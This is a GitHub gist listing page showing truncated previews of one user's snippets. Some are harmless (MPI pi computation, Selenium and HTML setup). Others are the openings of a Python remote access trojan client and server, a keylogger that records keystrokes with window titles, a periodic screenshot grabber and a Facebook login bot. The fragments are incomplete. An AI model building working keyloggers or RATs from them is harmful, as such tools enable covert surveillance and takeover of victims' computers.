Skip to content

Instantly share code, notes, and snippets.

import os
import time
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from webdriver_manager.chrome import ChromeDriverManager
IFRAME_PAGE_URL = ""
BASE_DIR = os.path.abspath(os.path.dirname(__file__))
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
<!--Simple tags input style-->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/rk4bir/simple-tags-input@latest/src/simple-tag-input.min.css">
</head>
#!/usr/bin/bash
# run mpi_pi.c with np from 1 to 8
mpicc -o pi mpi_pi.c
for i in $(seq 1 8); do
mpirun -np $i ./pi
done
// This program is to caculate PI using MPI
/*
* The algorithm is based on Monte Carlo method. The Monte Carlo method
* randomly picks up a large number of points in a square. It only counts
* the ratio of pints in side the circule.
*/
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
import argparse
from threading import Thread
import time
'''Working formula: PI = 4.0 * ( 1 - 1/3 + 1/5 - 1/7 + 1/9 - ...)'''
# GLOBAL VARIABLES
NEGATIVE_SUM = 0.0
import pyscreenshot as ss
import time, getpass
def sstaker():
usr = getpass.getuser()
ctime = time.time()
while True:
if (ctime - time.time()) == 30.0:
try:
pic = ss.grab()
@rk4bir
rk4bir / server.py
Last active November 5, 2022 18:52
RAT with python
import socket
import os
import time
def logo():
print("SERVER")
#Starting Server
@rk4bir
rk4bir / client.py
Created April 1, 2019 15:23
RAT with python socket
import socket
import time
import random
import os
def getInstructions(s):
while True:
msg = s.recv(4096)
cmd = msg.decode("UTF-8")
@rk4bir
rk4bir / keylogger.py
Created April 1, 2019 15:18
Key logger with python
import win32gui
from pynput import keyboard
import time
# when user press the key
def on_press(key):
file = open('key_logs.txt', 'a')
try:
value = '{' + str( win32gui.GetWindowText(win32gui.GetForegroundWindow()) ) + ', ' + str(time.ctime()) + '} ' + str(key.char) + '\n'
@rk4bir
rk4bir / login-bot.py
Created April 1, 2019 15:16
Login bot with python
from selenium import webdriver
def loginBOT(usr, pas):
br = webdriver.Firefox()
br.get("https://web.facebook.com/")
user = br.find_element_by_css_selector("#email")
user.clear()
user.send_keys(usr)
passwd = br.find_element_by_css_selector("#pass")